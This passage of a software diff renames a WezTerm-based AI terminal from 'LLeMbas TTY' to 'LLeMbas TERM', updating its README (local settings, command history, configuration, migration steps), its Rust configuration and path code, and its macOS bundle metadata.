`Ctrl+Alt+M`, `Ctrl+Tab` on the ask line) keeps the choice *here* when this directory already has settings of
|
||||
its own, and *everywhere* otherwise; the word shown at your cursor says which. The settings
|
||||
of each pane's own directory apply in that pane: change directory, or pane, and the
|
||||
suggestions, the colours, the autocomplete, the model and mode on the ask line and what the
|
||||
next display starts with follow — two windows in two directories each keep their own.
|
||||
|
||||
**LLeMbas: settings** lists what applies now and where each value comes from — *here* (with
|
||||
the directory), *everywhere*, or the configuration — and has a line that forgets this
|
||||
directory's own settings.
|
||||
|
||||
They are kept by the LLeMbas CLI in its own directory on this machine (its README has the
|
||||
path and the commands: `lembas terminal settings`), not in the working directory, and are
|
||||
sent nowhere. Nothing is read until your first LLeMbas key or palette entry; once you have
|
||||
chosen something through the terminal, they are read at the first prompt, so that they hold
|
||||
from the start. Reading them starts the CLI, so with AI off they are not read (what you chose
|
||||
for the whole machine, as last read, still applies) and a choice you make then holds until
|
||||
the terminal closes; switching AI on reads them again. The options in your configuration file are the starting values only: a value
|
||||
you set through the terminal wins over the file, until you remove it (*LLeMbas: settings*,
|
||||
or `lembas terminal settings set … <key>=default`).
|
||||
|
||||
With a LLeMbas CLI that is too old for this terminal a choice holds until the terminal
|
||||
closes, and the terminal says once that remembering it needs a newer CLI. What the CLI can do
|
||||
is asked again after a minute, and at once when it lacked something you just asked for, so
|
||||
after `lembas update` the terminal need not be restarted.
|
||||
|
||||
**Kept on this machine, sent nowhere:**
|
||||
|
||||
- *The command history* behind the suggestions: `~/.local/share/llembas-term/command-history`,
|
||||
readable by you alone. One line a command the terminal saw run: when, its exit status, its
|
||||
directory, its text. Never kept: a line that starts with a space, a command of several
|
||||
lines, a command that was not found, anything from a private pane, and nothing you type
|
||||
while a program hides what you type (it is read from the screen, where such text never is).
|
||||
At most 5000 commands. **To clear it:** *LLeMbas: clear command history*, or delete the
|
||||
file. To keep none: `history = { enabled = false }`. It is the terminal's own; your
|
||||
shell's history file is never read.
|
||||
- *The pane's status record*, which the shell integration writes at every prompt: whether the
|
||||
shell is at its prompt or running a command, the last exit status, the time, the
|
||||
directory — not what the command was. It is how LLeMbas knows that a command it typed has
|
||||
ended. In the terminal's runtime directory, readable by you alone, in a directory of this
|
||||
run of the terminal (a terminal started from a pane of another keeps its own). The shell
|
||||
also says it by a user variable, which reaches the terminal from another machine too; but
|
||||
anything printed to a pane can say the same, so it decides nothing that matters: a command
|
||||
enters the history, and the *input mark* is written, only by the record the pane's own
|
||||
shell on this machine wrote itself.
|
||||
|
||||
The session bar reads what LLeMbas itself tells the terminal about its session.
|
||||
It does not read the pane.
|
||||
It does not read the pane. The colours and the suggestion are drawn when a pane is painted:
|
||||
nothing is written into the pane for them.
|
||||
|
||||
## Configuration
|
||||
|
||||
@@ -75,36 +354,67 @@ local config = wezterm.config_builder()
|
||||
require('llembas').apply(config, {
|
||||
-- every line is optional; these are the defaults
|
||||
enabled = true, -- false: no layer at all
|
||||
cli = nil, -- path of `lembas`; nil: the bundled one, then PATH
|
||||
ai = true, -- false: the terminal starts with AI off (the switch still works)
|
||||
cli = nil, -- path of `lembas`; nil: PATH, then ~/.local/bin
|
||||
ide = nil, -- path of `llembas-ide`; nil: the same two places
|
||||
session_bar = true,
|
||||
tab_marker = true,
|
||||
palette = true,
|
||||
bar = { fields = { 'model', 'mode', 'state', 'context' } },
|
||||
-- also: 'session', 'title', 'effort', 'tokens', 'spend'
|
||||
keys = { -- false turns a key off
|
||||
keys = { -- false turns a key off; any of them can be given a key
|
||||
ask = { key = 'A', mods = 'CTRL|SHIFT' },
|
||||
new_session = { key = 'S', mods = 'CTRL|SHIFT' },
|
||||
resume = { key = 'O', mods = 'CTRL|SHIFT' },
|
||||
toggle_display = { key = 'D', mods = 'CTRL|SHIFT' },
|
||||
cli = { key = 'S', mods = 'CTRL|SHIFT' },
|
||||
ai = { key = 'I', mods = 'CTRL|SHIFT' },
|
||||
approve = { key = 'Y', mods = 'CTRL|SHIFT' },
|
||||
deny = { key = 'J', mods = 'CTRL|SHIFT' },
|
||||
stop = { key = 'G', mods = 'CTRL|SHIFT' },
|
||||
display = { key = 'D', mods = 'CTRL|SHIFT' },
|
||||
private = { key = 'H', mods = 'CTRL|SHIFT' },
|
||||
ide = { key = 'E', mods = 'CTRL|SHIFT' },
|
||||
model = { key = 'M', mods = 'CTRL|SHIFT' }, -- the list of chat models
|
||||
ac_model = { key = 'm', mods = 'CTRL|ALT' }, -- the list of autocomplete models (a capital
|
||||
-- letter means the key with Shift)
|
||||
mode_next = { key = 'Tab', mods = 'CTRL' }, -- on the ask line: the other mode
|
||||
palette = { key = 'P', mods = 'CTRL|SHIFT|ALT' }, -- the terminal's command palette, once more
|
||||
ask_screen = false, always = false, new = false, mode = false,
|
||||
},
|
||||
split = { direction = 'Right', size = 0.45 },
|
||||
new_session_in = 'split', -- or 'tab'
|
||||
ide_keys = true, -- keys LLeMbas IDE has too go to it while it is in front of a pane
|
||||
kitty_keyboard = true, -- enable_kitty_keyboard, unless your own file sets it
|
||||
-- (ai, mode, display.width, suggestions, highlight and autocomplete are starting values:
|
||||
-- what you choose in the terminal is remembered and wins - see Settings)
|
||||
display = { width = 0.33 }, -- of the pane it opens beside
|
||||
mode = 'manual', -- the mode a display starts in; or 'auto'
|
||||
context = {
|
||||
enabled = true, -- false: questions go alone, nothing of the pane
|
||||
blocks = 5, -- commands passed on (at most 20)
|
||||
output_lines = 200, -- of each command's output, from its end
|
||||
output_bytes = 16384,
|
||||
screen_lines = 200, -- of the screen, when it is passed on
|
||||
alt_screen = false, -- true: also the screen of a full-screen program
|
||||
},
|
||||
autocomplete = false,
|
||||
suggestions = true, -- the rest of the line from your own command history
|
||||
highlight = true, -- the command line in colours
|
||||
autocomplete = false, -- AI: the rest of the line from LLeMbas, drawn by the terminal
|
||||
autocomplete_timeout_ms = 8000, -- how long LLeMbas is given for the rest of a line
|
||||
history = { enabled = true, max = 5000 },
|
||||
colors = { -- a number of your colour scheme's palette, '#rrggbb', or false
|
||||
prefix = 6, ghost = 8, notice = 3,
|
||||
command = 2, unknown = false, option = false, string = 3,
|
||||
variable = 6, operator = 5, comment = 8, path = 4,
|
||||
},
|
||||
})
|
||||
|
||||
return config
|
||||
```
|
||||
|
||||
The colours are numbers of your colour scheme's palette, so they follow your theme.
|
||||
`unknown` — a command that is not found — is left alone by default, because the terminal
|
||||
looks in `PATH` and does not know your shell's aliases and functions; give it a colour to
|
||||
mark such words.
|
||||
|
||||
To have none of it: leave the line out of your file, pass `{ enabled = false }`,
|
||||
or start with `llembas-tty -n`.
|
||||
or start with `llembas-term -n`.
|
||||
|
||||
If your file sets its own right status or tab titles, turn `session_bar` or
|
||||
`tab_marker` off, or call `apply` after your own handlers: the terminal uses
|
||||
@@ -116,20 +426,71 @@ The package installs it for bash through `/etc/profile.d`. For zsh, or after
|
||||
unpacking the tarball, add to `~/.zshrc` or `~/.bashrc`:
|
||||
|
||||
```sh
|
||||
[ -n "$LLEMBAS_TTY" ] && . /usr/share/llembas-tty/shell/llembas-tty.sh
|
||||
[ -n "$LLEMBAS_TERM" ] && . /usr/share/llembas-term/shell/llembas-term.sh
|
||||
```
|
||||
|
||||
It marks commands and their output for the terminal (WezTerm's own
|
||||
integration script, OSC 133 and OSC 7) and does nothing outside LLeMbas TTY.
|
||||
integration script, OSC 133 and OSC 7), writes the pane's status record, and
|
||||
does nothing outside LLeMbas TERM. The suggestions and the colours need it: it
|
||||
is how the terminal knows which cells are your command line.
|
||||
|
||||
### Autocomplete
|
||||
**On another machine**, reached with `ssh` from a pane: copy `llembas-term.sh` and `wezterm.sh`
|
||||
there and source the first from that shell's rc file with `LLEMBAS_TERM` set (for instance
|
||||
`[ -n "$SSH_CONNECTION" ] && LLEMBAS_TERM=remote . ~/.llembas-term.sh`). Suggestions and
|
||||
colours then work there too, drawn by your terminal; whether a command or a path exists is
|
||||
not marked, since that is the other machine's to know. The commands you run there are not
|
||||
kept in the terminal's history (what that shell says of them is only what it says), and the
|
||||
AI's autocomplete is not asked about them.
|
||||
|
||||
Set `autocomplete = true` in the options above; new panes then have
|
||||
`LLEMBAS_TTY_AUTOCOMPLETE=1` and the shell integration turns completion on.
|
||||
The line you are typing is sent to `lembas complete` after a short pause —
|
||||
never an empty line, never a line that starts with a space, never outside
|
||||
LLeMbas TTY. What comes back is put on the line as text; nothing runs until
|
||||
you press Enter. If zsh-autosuggestions is loaded, ours stays off.
|
||||
The autocomplete the shell integration used to draw itself (`autocomplete = 'shell'`) is gone:
|
||||
it could not know that a pane was made private or that AI was switched off. The terminal
|
||||
draws the AI's suggestion itself; `'shell'` now turns nothing on, and says so in the log.
|
||||
|
||||
## Coming from LLeMbas TTY
|
||||
|
||||
Up to 1.0.0-beta.5 this terminal was called LLeMbas TTY. Everything that carried that name
|
||||
carries the new one: the commands (`llembas-term`, `llembas-term-gui`,
|
||||
`llembas-term-mux-server`, `llembas-term-setup`), the package (`llembas-term`), the
|
||||
directories (`llembas-term` under `~/.config`, `~/.local/share`, `~/.cache` and the runtime
|
||||
directory), the application id (`eu.llembas.term`) and the variables a pane sees
|
||||
(`LLEMBAS_TERM`, `LLEMBAS_TERM_PANE`, … — no `LLEMBAS_TTY…` is set any more).
|
||||
|
||||
1. **Update the LLeMbas CLI first:** `lembas update`. The engine has to know the terminal by
|
||||
its new name (its terminal contract 4). An older CLI still works on its own, in a tab
|
||||
(`Ctrl+Shift+S`), but cannot be the terminal's display, and the terminal says so.
|
||||
2. **Install the new package.** `sudo apt install ./llembas-term_<version>_amd64.deb` removes
|
||||
the `llembas-tty` package in the same step (the new one replaces it). Your desktop's
|
||||
launcher is now *LLeMbas TERM*; a pinned icon of the old one has to be pinned again.
|
||||
3. **Change the line in `~/.zshrc`** (or `~/.bashrc`), if you added the one this README used
|
||||
to give. The old line sources a file that is gone, behind a variable that is no longer
|
||||
set, so it silently does nothing — and without it there are no suggestions, colours or
|
||||
status records in zsh. Replace it with:
|
||||
|
||||
```sh
|
||||
[ -n "$LLEMBAS_TERM" ] && . /usr/share/llembas-term/shell/llembas-term.sh
|
||||
```
|
||||
|
||||
`llembas-term-setup` prints this line when it finds the old one; it does not edit your
|
||||
files. The same goes for a copy you made on another machine for `ssh`
|
||||
(`LLEMBAS_TERM=remote . ~/.llembas-term.sh`, with the new `llembas-term.sh` copied there).
|
||||
|
||||
**Carried over for you, once, at the first start:** the terminal's own command history
|
||||
(`command-history`) and the mark that you have chosen settings through the terminal
|
||||
(`settings-chosen`), copied from `~/.local/share/llembas-tty/` into
|
||||
`~/.local/share/llembas-term/` when that does not exist yet. The old files are left where
|
||||
they are, nothing that exists in the new place is written over, and the terminal's log says
|
||||
what was copied. Your settings themselves are kept by the CLI and need nothing.
|
||||
|
||||
**Your configuration file is read where it is.** While there is no
|
||||
`~/.config/llembas-term/llembas-term.lua` (or `~/.llembas-term.lua`), the terminal reads
|
||||
`~/.config/llembas-tty/llembas-tty.lua` (or `~/.llembas-tty.lua`), with the modules beside it,
|
||||
and tells you once per start to move it. It is not copied or moved for you. When you are
|
||||
ready: `mv ~/.config/llembas-tty ~/.config/llembas-term` and rename the file in it to
|
||||
`llembas-term.lua`.
|
||||
|
||||
Not carried over: the recently used palette entries and emoji, and the old package's
|
||||
`/etc/profile.d/llembas-tty.sh`, which stays until `sudo apt purge llembas-tty` and does
|
||||
nothing.
|
||||
|
||||
---
|
||||
|
||||
|
||||
@@ -5,14 +5,14 @@
|
||||
<key>CFBundleDevelopmentRegion</key>
|
||||
<string>en</string>
|
||||
<key>CFBundleExecutable</key>
|
||||
<!-- LLeMbas TTY: its own names and identifier, here and below -->
|
||||
<string>llembas-tty-gui</string>
|
||||
<!-- LLeMbas TERM: its own names and identifier, here and below -->
|
||||
<string>llembas-term-gui</string>
|
||||
<key>CFBundleIdentifier</key>
|
||||
<string>eu.llembas.tty</string>
|
||||
<string>eu.llembas.term</string>
|
||||
<key>CFBundleInfoDictionaryVersion</key>
|
||||
<string>6.0</string>
|
||||
<key>CFBundleName</key>
|
||||
<string>LLeMbas TTY</string>
|
||||
<string>LLeMbas TERM</string>
|
||||
<key>CFBundlePackageType</key>
|
||||
<string>APPL</string>
|
||||
<key>CFBundleShortVersionString</key>
|
||||
@@ -34,7 +34,7 @@
|
||||
<key>NSSupportsAutomaticGraphicsSwitching</key>
|
||||
<true/>
|
||||
<key>CFBundleDisplayName</key>
|
||||
<string>LLeMbas TTY</string>
|
||||
<string>LLeMbas TERM</string>
|
||||
<key>NSRequiresAquaSystemAppearance</key>
|
||||
<string>NO</string>
|
||||
<key>NSAppleEventsUsageDescription</key>
|
||||
|
||||
+61
-28
@@ -1025,10 +1025,23 @@ impl Config {
|
||||
// multiple. In addition, it spawns a lot of subprocesses,
|
||||
// so we do this bit "by-hand"
|
||||
|
||||
// LLeMbas TTY: its own file names, never WezTerm's
|
||||
let mut paths = vec![PathPossibility::optional(HOME_DIR.join(".llembas-tty.lua"))];
|
||||
// LLeMbas TERM: its own file names, never WezTerm's
|
||||
let mut paths = vec![PathPossibility::optional(
|
||||
HOME_DIR.join(".llembas-term.lua"),
|
||||
)];
|
||||
for dir in CONFIG_DIRS.iter() {
|
||||
paths.push(PathPossibility::optional(dir.join("llembas-tty.lua")))
|
||||
paths.push(PathPossibility::optional(dir.join("llembas-term.lua")))
|
||||
}
|
||||
// LLeMbas TERM: the terminal was LLeMbas TTY up to 1.0.0-beta.5. While
|
||||
// there is no file of the new name, a person's file of the old name
|
||||
// is read where it is (after every place of the new name), and they
|
||||
// are told once to move it. It is never moved or changed for them.
|
||||
let mut old_names = vec![HOME_DIR.join(".llembas-tty.lua")];
|
||||
for dir in CONFIG_DIRS.iter() {
|
||||
old_names.push(dir.with_file_name("llembas-tty").join("llembas-tty.lua"));
|
||||
}
|
||||
for path in &old_names {
|
||||
paths.push(PathPossibility::optional(path.clone()));
|
||||
}
|
||||
|
||||
if cfg!(windows) {
|
||||
@@ -1042,17 +1055,17 @@ impl Config {
|
||||
// dir as the executable that will take precedence.
|
||||
if let Ok(exe_name) = std::env::current_exe() {
|
||||
if let Some(exe_dir) = exe_name.parent() {
|
||||
// LLeMbas TTY: its own file name
|
||||
// LLeMbas TERM: its own file name
|
||||
paths.insert(
|
||||
0,
|
||||
PathPossibility::optional(exe_dir.join("llembas-tty.lua")),
|
||||
PathPossibility::optional(exe_dir.join("llembas-term.lua")),
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
// LLeMbas TTY: its own variable, WEZTERM_CONFIG_FILE is not honoured
|
||||
if let Some(path) = std::env::var_os("LLEMBAS_TTY_CONFIG_FILE") {
|
||||
log::trace!("Note: LLEMBAS_TTY_CONFIG_FILE is set in the environment");
|
||||
// LLeMbas TERM: its own variable, WEZTERM_CONFIG_FILE is not honoured
|
||||
if let Some(path) = std::env::var_os("LLEMBAS_TERM_CONFIG_FILE") {
|
||||
log::trace!("Note: LLEMBAS_TERM_CONFIG_FILE is set in the environment");
|
||||
paths.insert(0, PathPossibility::required(path.into()));
|
||||
}
|
||||
|
||||
@@ -1076,18 +1089,38 @@ impl Config {
|
||||
}
|
||||
}
|
||||
Ok(None) => continue,
|
||||
Ok(Some(loaded)) => return loaded,
|
||||
Ok(Some(loaded)) => {
|
||||
// LLeMbas TERM: said once in a run of the program
|
||||
if old_names.contains(&path_item.path) {
|
||||
static TOLD: std::sync::atomic::AtomicBool =
|
||||
std::sync::atomic::AtomicBool::new(false);
|
||||
if !TOLD.swap(true, Ordering::Relaxed) {
|
||||
log::warn!(
|
||||
"LLeMbas TERM is reading the configuration file of its earlier \
|
||||
name, {}. Move it to {} (the old place is read only while \
|
||||
there is no file in the new one).",
|
||||
path_item.path.display(),
|
||||
CONFIG_DIRS
|
||||
.first()
|
||||
.map(|dir| dir.join("llembas-term.lua"))
|
||||
.unwrap_or_else(|| HOME_DIR.join(".llembas-term.lua"))
|
||||
.display()
|
||||
);
|
||||
}
|
||||
}
|
||||
return loaded;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// We didn't find (or were asked to skip) a wezterm.lua file, so
|
||||
// update the environment to make it simpler to understand this
|
||||
// state.
|
||||
// LLeMbas TTY: its own variables
|
||||
std::env::remove_var("LLEMBAS_TTY_CONFIG_FILE");
|
||||
std::env::remove_var("LLEMBAS_TTY_CONFIG_DIR");
|
||||
// LLeMbas TERM: its own variables
|
||||
std::env::remove_var("LLEMBAS_TERM_CONFIG_FILE");
|
||||
std::env::remove_var("LLEMBAS_TERM_CONFIG_DIR");
|
||||
|
||||
// LLeMbas TTY: with no configuration file (and not asked to skip one),
|
||||
// LLeMbas TERM: with no configuration file (and not asked to skip one),
|
||||
// the built-in configuration applies the LLeMbas layer.
|
||||
if !CONFIG_SKIP.load(Ordering::Relaxed) {
|
||||
return match Self::try_builtin(overrides) {
|
||||
@@ -1126,7 +1159,7 @@ impl Config {
|
||||
})
|
||||
}
|
||||
|
||||
/// LLeMbas TTY: evaluate the configuration that is built into the binary
|
||||
/// LLeMbas TERM: evaluate the configuration that is built into the binary
|
||||
/// (`llembas/lua/default-config.lua`). The same steps as `try_load`, with
|
||||
/// the script taken from memory rather than from a file.
|
||||
fn try_builtin(overrides: &wezterm_dynamic::Value) -> anyhow::Result<LoadedConfig> {
|
||||
@@ -1138,7 +1171,7 @@ impl Config {
|
||||
|
||||
let config: mlua::Value = smol::block_on(
|
||||
lua.load(crate::llembas::DEFAULT_CONFIG)
|
||||
.set_name("=llembas-tty/default-config.lua")
|
||||
.set_name("=llembas-term/default-config.lua")
|
||||
.eval_async(),
|
||||
)?;
|
||||
let config = Config::apply_overrides_to(&lua, config)?;
|
||||
@@ -1208,10 +1241,10 @@ impl Config {
|
||||
// problems earlier than we use them.
|
||||
let _ = cfg.key_bindings();
|
||||
|
||||
// LLeMbas TTY: its own variables
|
||||
std::env::set_var("LLEMBAS_TTY_CONFIG_FILE", p);
|
||||
// LLeMbas TERM: its own variables
|
||||
std::env::set_var("LLEMBAS_TERM_CONFIG_FILE", p);
|
||||
if let Some(dir) = p.parent() {
|
||||
std::env::set_var("LLEMBAS_TTY_CONFIG_DIR", dir);
|
||||
std::env::set_var("LLEMBAS_TERM_CONFIG_DIR", dir);
|
||||
}
|
||||
Ok(cfg)
|
||||
});
|
||||
@@ -1680,13 +1713,13 @@ impl Config {
|
||||
// de-facto standard for identifying the terminal.
|
||||
cmd.env("TERM_PROGRAM", "WezTerm");
|
||||
cmd.env("TERM_PROGRAM_VERSION", crate::wezterm_version());
|
||||
// LLeMbas TTY: how a program knows that it runs in this terminal
|
||||
cmd.env("LLEMBAS_TTY", crate::llembas_tty_version());
|
||||
// LLeMbas TERM: how a program knows that it runs in this terminal
|
||||
cmd.env("LLEMBAS_TERM", crate::llembas_term_version());
|
||||
}
|
||||
}
|
||||
|
||||
fn default_check_for_updates() -> bool {
|
||||
// LLeMbas TTY: off. Upstream's check asks GitHub about WezTerm's releases,
|
||||
// LLeMbas TERM: off. Upstream's check asks GitHub about WezTerm's releases,
|
||||
// which are not this program's, and nothing leaves the machine unasked.
|
||||
false
|
||||
}
|
||||
@@ -1820,29 +1853,29 @@ fn default_font_size() -> f64 {
|
||||
12.0
|
||||
}
|
||||
|
||||
// LLeMbas TTY: its own cache, data and runtime directories, never WezTerm's
|
||||
// LLeMbas TERM: its own cache, data and runtime directories, never WezTerm's
|
||||
pub(crate) fn compute_cache_dir() -> anyhow::Result<PathBuf> {
|
||||
if let Some(runtime) = dirs_next::cache_dir() {
|
||||
return Ok(runtime.join("llembas-tty"));
|
||||
return Ok(runtime.join("llembas-term"));
|
||||
}
|
||||
|
||||
Ok(crate::HOME_DIR.join(".local/share/llembas-tty"))
|
||||
Ok(crate::HOME_DIR.join(".local/share/llembas-term"))
|
||||
}
|
||||
|
||||
pub(crate) fn compute_data_dir() -> anyhow::Result<PathBuf> {
|
||||
if let Some(runtime) = dirs_next::data_dir() {
|
||||
return Ok(runtime.join("llembas-tty"));
|
||||
return Ok(runtime.join("llembas-term"));
|
||||
}
|
||||
|
||||
Ok(crate::HOME_DIR.join(".local/share/llembas-tty"))
|
||||
Ok(crate::HOME_DIR.join(".local/share/llembas-term"))
|
||||
}
|
||||
|
||||
pub(crate) fn compute_runtime_dir() -> anyhow::Result<PathBuf> {
|
||||
if let Some(runtime) = dirs_next::runtime_dir() {
|
||||
return Ok(runtime.join("llembas-tty"));
|
||||
return Ok(runtime.join("llembas-term"));
|
||||
}
|
||||
|
||||
Ok(crate::HOME_DIR.join(".local/share/llembas-tty"))
|
||||
Ok(crate::HOME_DIR.join(".local/share/llembas-term"))
|
||||
}
|
||||
|
||||
pub fn pki_dir() -> anyhow::Result<PathBuf> {
|
||||
|
||||
+6
-6
@@ -31,7 +31,7 @@ mod font;
|
||||
mod frontend;
|
||||
pub mod keyassignment;
|
||||
mod keys;
|
||||
// LLeMbas TTY: the built-in Lua layer
|
||||
// LLeMbas TERM: the built-in Lua layer
|
||||
pub mod llembas;
|
||||
pub mod lua;
|
||||
pub mod meta;
|
||||
@@ -385,10 +385,10 @@ pub fn create_user_owned_dirs(p: &Path) -> anyhow::Result<()> {
|
||||
}
|
||||
|
||||
fn xdg_config_home() -> PathBuf {
|
||||
// LLeMbas TTY: its own directory, never WezTerm's
|
||||
match std::env::var_os("XDG_CONFIG_HOME").map(|s| PathBuf::from(s).join("llembas-tty")) {
|
||||
// LLeMbas TERM: its own directory, never WezTerm's
|
||||
match std::env::var_os("XDG_CONFIG_HOME").map(|s| PathBuf::from(s).join("llembas-term")) {
|
||||
Some(p) => p,
|
||||
None => HOME_DIR.join(".config").join("llembas-tty"),
|
||||
None => HOME_DIR.join(".config").join("llembas-term"),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -398,8 +398,8 @@ fn config_dirs() -> Vec<PathBuf> {
|
||||
|
||||
#[cfg(unix)]
|
||||
if let Some(d) = std::env::var_os("XDG_CONFIG_DIRS") {
|
||||
// LLeMbas TTY: its own directory, never WezTerm's
|
||||
dirs.extend(std::env::split_paths(&d).map(|s| PathBuf::from(s).join("llembas-tty")));
|
||||
// LLeMbas TERM: its own directory, never WezTerm's
|
||||
dirs.extend(std::env::split_paths(&d).map(|s| PathBuf::from(s).join("llembas-term")));
|
||||
}
|
||||
|
||||
dirs
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
//! LLeMbas TTY: the LLeMbas layer, built into the binary.
|
||||
//! LLeMbas TERM: the LLeMbas layer, built into the binary.
|
||||
//!
|
||||
//! The layer is Lua (`llembas/lua/` at the top of the repository). It is
|
||||
//! compiled in as text and offered to every Lua context through
|
||||
@@ -33,7 +33,7 @@ pub fn register(lua: &Lua) -> anyhow::Result<()> {
|
||||
for (name, source) in MODULES {
|
||||
let loader = lua
|
||||
.load(*source)
|
||||
.set_name(format!("=llembas-tty/{}.lua", name))
|
||||
.set_name(format!("=llembas-term/{}.lua", name))
|
||||
.into_function()
|
||||
.with_context(|| format!("compiling the built-in module {}", name))?;
|
||||
preload
|
||||
|
||||
+11
-3
@@ -227,11 +227,19 @@ pub fn make_lua_context(config_file: &Path) -> anyhow::Result<Lua> {
|
||||
array.insert(1, format!("{}/?/init.lua", path.display()));
|
||||
}
|
||||
|
||||
// LLeMbas TTY: its own directory, never WezTerm's
|
||||
prefix_path(&mut path_array, &crate::HOME_DIR.join(".llembas-tty"));
|
||||
// LLeMbas TERM: its own directory, never WezTerm's
|
||||
prefix_path(&mut path_array, &crate::HOME_DIR.join(".llembas-term"));
|
||||
for dir in crate::CONFIG_DIRS.iter() {
|
||||
prefix_path(&mut path_array, dir);
|
||||
}
|
||||
// LLeMbas TERM: a configuration file still read from the directory of
|
||||
// the terminal's earlier name finds the modules beside it there
|
||||
if config_dir
|
||||
.file_name()
|
||||
.map_or(false, |name| name == "llembas-tty")
|
||||
{
|
||||
prefix_path(&mut path_array, config_dir);
|
||||
}
|
||||
path_array.insert(
|
||||
2,
|
||||
format!("{}/plugins/?/plugin/init.lua", crate::DATA_DIR.display()),
|
||||
@@ -386,7 +394,7 @@ end
|
||||
func(&lua).context("calling SETUP_FUNCS")?;
|
||||
}
|
||||
|
||||
// LLeMbas TTY: make the built-in layer available as `require 'llembas'`
|
||||
// LLeMbas TERM: make the built-in layer available as `require 'llembas'`
|
||||
crate::llembas::register(&lua).context("registering the llembas module")?;
|
||||
|
||||
Ok(lua)
|
||||
|
||||
+3
-3
@@ -118,11 +118,11 @@ impl UnixDomain {
|
||||
Some(cmd) => Ok(cmd.iter().map(Into::into).collect()),
|
||||
None => Ok(vec![
|
||||
std::env::current_exe()?
|
||||
// LLeMbas TTY: its own binary names
|
||||
// LLeMbas TERM: its own binary names
|
||||
.with_file_name(if cfg!(windows) {
|
||||
"llembas-tty-mux-server.exe"
|
||||
"llembas-term-mux-server.exe"
|
||||
} else {
|
||||
"llembas-tty-mux-server"
|
||||
"llembas-term-mux-server"
|
||||
})
|
||||
.into_os_string(),
|
||||
OsString::from("--daemonize"),
|
||||
|
||||
@@ -14,23 +14,23 @@ pub fn wezterm_version() -> &'static str {
|
||||
.unwrap_or(&"someone forgot to call assign_version_info")
|
||||
}
|
||||
|
||||
/// LLeMbas TTY: this program's own version, from the `VERSION` file at
|
||||
/// LLeMbas TERM: this program's own version, from the `VERSION` file at
|
||||
/// the top of the repository at build time. `wezterm_version` stays
|
||||
/// WezTerm's: programs and scripts compare it to detect features.
|
||||
pub fn llembas_tty_version() -> &'static str {
|
||||
pub fn llembas_term_version() -> &'static str {
|
||||
include_str!("../../VERSION").trim()
|
||||
}
|
||||
|
||||
/// LLeMbas TTY: what `--version` shows: our version and the WezTerm
|
||||
/// LLeMbas TERM: what `--version` shows: our version and the WezTerm
|
||||
/// version that it is based on.
|
||||
pub fn llembas_tty_long_version() -> &'static str {
|
||||
pub fn llembas_term_long_version() -> &'static str {
|
||||
static LONG: OnceLock<String> = OnceLock::new();
|
||||
match VERSION.get() {
|
||||
// Not assigned yet (the gui parses its arguments before it is):
|
||||
// our own version alone.
|
||||
None => llembas_tty_version(),
|
||||
None => llembas_term_version(),
|
||||
Some(wezterm) => LONG
|
||||
.get_or_init(|| format!("{} (based on WezTerm {})", llembas_tty_version(), wezterm))
|
||||
.get_or_init(|| format!("{} (based on WezTerm {})", llembas_term_version(), wezterm))
|
||||
.as_str(),
|
||||
}
|
||||
}
|
||||
|
||||
+24
-12
@@ -3,7 +3,7 @@ pub use ringlog::setup_logger;
|
||||
use std::path::{Path, PathBuf};
|
||||
|
||||
pub fn set_wezterm_executable() {
|
||||
// LLeMbas TTY: its own variable names. A WezTerm that started us must
|
||||
// LLeMbas TERM: its own variable names. A WezTerm that started us must
|
||||
// not be mistaken for us by what runs in our panes, so what it exported
|
||||
// is dropped rather than passed on.
|
||||
for name in [
|
||||
@@ -13,21 +13,33 @@ pub fn set_wezterm_executable() {
|
||||
"WEZTERM_CONFIG_DIR",
|
||||
"WEZTERM_PANE",
|
||||
"WEZTERM_UNIX_SOCKET",
|
||||
// and what this terminal exported under its earlier name (up to
|
||||
// 1.0.0-beta.5), when one of those started us
|
||||
"LLEMBAS_TTY",
|
||||
"LLEMBAS_TTY_PANE",
|
||||
"LLEMBAS_TTY_EXECUTABLE",
|
||||
"LLEMBAS_TTY_EXECUTABLE_DIR",
|
||||
"LLEMBAS_TTY_STATUS_DIR",
|
||||
"LLEMBAS_TTY_UNIX_SOCKET",
|
||||
"LLEMBAS_TTY_CONFIG_FILE",
|
||||
"LLEMBAS_TTY_CONFIG_DIR",
|
||||
"LLEMBAS_TTY_AUTOCOMPLETE",
|
||||
"LLEMBAS_TTY_CLI",
|
||||
] {
|
||||
std::env::remove_var(name);
|
||||
}
|
||||
if let Ok(exe) = std::env::current_exe() {
|
||||
if let Some(dir) = exe.parent() {
|
||||
std::env::set_var("LLEMBAS_TTY_EXECUTABLE_DIR", dir);
|
||||
std::env::set_var("LLEMBAS_TERM_EXECUTABLE_DIR", dir);
|
||||
}
|
||||
// LLeMbas TTY: always the launcher (the one with the `cli`
|
||||
// LLeMbas TERM: always the launcher (the one with the `cli`
|
||||
// subcommand), whichever of our binaries this process is.
|
||||
std::env::set_var(
|
||||
"LLEMBAS_TTY_EXECUTABLE",
|
||||
"LLEMBAS_TERM_EXECUTABLE",
|
||||
exe.with_file_name(if cfg!(windows) {
|
||||
"llembas-tty.exe"
|
||||
"llembas-term.exe"
|
||||
} else {
|
||||
"llembas-tty"
|
||||
"llembas-term"
|
||||
}),
|
||||
);
|
||||
}
|
||||
@@ -74,10 +86,10 @@ pub fn fixup_appimage() {
|
||||
|
||||
// Since our AppImage includes multiple utilities, we want to
|
||||
// be able to use them, so add that location to the PATH!
|
||||
// LLEMBAS_TTY_EXECUTABLE_DIR is set by `set_wezterm_executable`
|
||||
// LLEMBAS_TERM_EXECUTABLE_DIR is set by `set_wezterm_executable`
|
||||
// which is called before `fixup_appimage`
|
||||
// LLeMbas TTY: its own variable name
|
||||
if let Some(dir) = std::env::var_os("LLEMBAS_TTY_EXECUTABLE_DIR") {
|
||||
// LLeMbas TERM: its own variable name
|
||||
if let Some(dir) = std::env::var_os("LLEMBAS_TERM_EXECUTABLE_DIR") {
|
||||
if let Some(path) = std::env::var_os("PATH") {
|
||||
let mut paths = std::env::split_paths(&path).collect::<Vec<_>>();
|
||||
paths.insert(0, PathBuf::from(dir));
|
||||
@@ -109,9 +121,9 @@ pub fn fixup_appimage() {
|
||||
/// However, if we are using the system wezterm to spawn a portable
|
||||
/// AppImage then we want these to not take effect.
|
||||
fn clean_wezterm_config_env() {
|
||||
// LLeMbas TTY: its own variable names
|
||||
std::env::remove_var("LLEMBAS_TTY_CONFIG_FILE");
|
||||
